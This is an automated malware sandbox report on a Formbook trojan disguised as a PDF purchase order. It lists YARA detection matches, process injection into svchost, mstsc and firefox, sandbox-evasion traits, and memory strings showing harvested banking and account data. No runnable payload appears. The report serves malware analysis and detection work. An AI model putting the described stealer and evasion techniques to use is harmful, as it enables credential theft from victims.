Source: 00000004.00000002.3897012807.0000000000D10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3897058690.0000000000D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2158074372.0000000003B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3900775999.0000000006310000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2157680976.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.2158514500.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3897432800.0000000002360000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/4@11/8

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_0007A0F4 GetLastError,FormatMessageW,

0_2_0007A0F4

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00073C99 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00073C99

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00014FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00014FE9

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

File created: C:\Users\user\AppData\Local\Temp\proximobuccal

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: mstsc.exe, 00000004.00000003.2346478807.0000000000713000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2346272846.00000000006F2000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.0000000000740000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2349393879.000000000071D000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.0000000000713000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PO-78140924.BAT.PDF.exe

ReversingLabs: Detection: 79%

Source: unknown	Process created: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe "C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe"
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe"
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe"	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: PO-78140924.BAT.PDF.exe

Static file information: File size 1085440 > 1048576

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: YKkstfciYBQ.exe, 00000003.00000000.2070305149.000000000077E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO-78140924.BAT.PDF.exe, 00000000.00000003.2042653624.0000000004540000.00000004.00001000.00020000.00000000.sdmp, PO-78140924.BAT.PDF.exe, 00000000.00000003.2041650984.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2046417159.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2048886154.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2158145354.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2158145354.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897347942.00000000044F0000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2170653792.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897347942.000000000468E000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2164958755.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PO-78140924.BAT.PDF.exe, 00000000.00000003.2042653624.0000000004540000.00000004.00001000.00020000.00000000.sdmp, PO-78140924.BAT.PDF.exe, 00000000.00000003.2041650984.00000000046E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2046417159.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2048886154.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2158145354.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2158145354.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 00000004.00000002.3897347942.00000000044F0000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2170653792.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897347942.000000000468E000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000004.00000003.2164958755.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mstsc.pdbGCTL source: svchost.exe, 00000002.00000003.2115002578.0000000007300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2115127900.0000000007500000.00000004.00000020.00020000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000003.2094204761.0000000003D42000.00000004.00000001.00020000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000003.2093852104.0000000003C02000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: YKkstfciYBQ.exe, 00000003.00000002.3899395542.0000000003EDC000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000004B1C000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000006.00000002.2459301249.000000003282C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: mstsc.pdb source: svchost.exe, 00000002.00000003.2115002578.0000000007300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2115127900.0000000007500000.00000004.00000020.00020000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000003.2094204761.0000000003D42000.00000004.00000001.00020000.00000000.sdmp, YKkstfciYBQ.exe, 00000003.00000003.2093852104.0000000003C02000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: YKkstfciYBQ.exe, 00000003.00000002.3899395542.0000000003EDC000.00000004.80000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3897855714.0000000004B1C000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000004.00000002.3896033202.00000000006A1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000006.00000002.2459301249.000000003282C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_0019AAC0 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_0019AAC0

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_000243B7 push edi; ret	0_2_000243B9
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_000243CB push edi; ret	0_2_000243CD
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0001C590 push eax; retn 0001h	0_2_0001C599
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0003B947 push esi; ret	0_2_0003B949
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0003B996 push edi; ret	0_2_0003B998
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0003BA3C push edi; ret	0_2_0003BA3E
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_00038AC5 push ecx; ret	0_2_00038AD8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404878 push edx; iretd	2_2_00404879
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004180CC push ss; iretd	2_2_004180D7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004021FE push ecx; ret	2_2_004021FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413A18 push ebx; retf	2_2_00413A2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041221F push ss; ret	2_2_00412220
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413A23 push ebx; retf	2_2_00413A2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413A2E push ebx; retf	2_2_00413A2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004073CB push esi; ret	2_2_004073CE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403380 push eax; ret	2_2_00403382
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040A623 push edi; retf	2_2_0040A62D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418E2B push esi; ret	2_2_00418E2C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041E76A push ebp; retf	2_2_0041E858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041E71E push edx; iretd	2_2_0041E71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C309AD push ecx; mov dword ptr [esp], ecx	2_2_03C309B6
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Code function: 3_2_0639D02B push ss; iretd	3_2_0639D033
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Code function: 3_2_0639C732 push es; retf	3_2_0639C749
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe	Code function: 3_2_0639F3B4 push eax; ret	3_2_0639F3B6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_045209AD push ecx; mov dword ptr [esp], ecx	4_2_045209B6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004A18CC push es; iretd	4_2_004A18C5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_00484048 push esi; ret	4_2_0048404B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004872A0 push edi; retf	4_2_004872AA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0049B3E7 push ebp; retf	4_2_0049B4D5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0049B39B push edx; iretd	4_2_0049B39C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_004A043C push eax; ret	4_2_004A043D

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00014A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00014A35

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00033307 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00033307

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	API/Special instruction interceptor: Address: 1712D54
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03CAD1C0 rdtsc

2_2_03CAD1C0

Source: C:\Windows\SysWOW64\mstsc.exe

Window / User API: threadDelayed 9839

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	API coverage: 8.9 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\mstsc.exe	API coverage: 3.1 %

Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe TID: 5032	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pxTetnvzAqfngzxdJleqlHZcbxcmKnXFSvAiPCvpGdyMKAizQhrXJTABFMLhmSrbNFDH\YKkstfciYBQ.exe TID: 5032	Thread sleep time: -34500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 1476	Thread sleep count: 134 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 1476	Thread sleep time: -268000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 1476	Thread sleep count: 9839 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 1476	Thread sleep time: -19678000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe	Code function: 0_2_0007449B GetFileAttributesW,FindFirstFileW,FindClose,		0_2_0007449B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 4_2_0049C460 FindFirstFileW,FindNextFileW,FindClose,		4_2_0049C460

Source: C:\Users\user\Desktop\PO-78140924.BAT.PDF.exe

Code function: 0_2_00014AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00014AFE

Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696428655j
Source: 2348427.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: merica.comVMware20,11696428655\|UE
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CDYNVMware20,11696428655p
Source: 2348427.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 2348427.4.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EU WestVMware20,1169642%
Source: 2348427.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 2348427.4.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 2348427.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ca.comVMware20,11696428655x
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,1169642
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,1169642r
Source: 2348427.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: mstsc.exe, 00000004.00000002.3899490004.00000000076EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: actistorage_key EU WestVMware20,1169642%
Source: 2348427.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 2348427.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 2348427.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 2348427.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 2348427.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 2348427.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 2348427.4.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 2348427.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 00000006.00000002.2463739189.000001D7B271C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 2348427.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
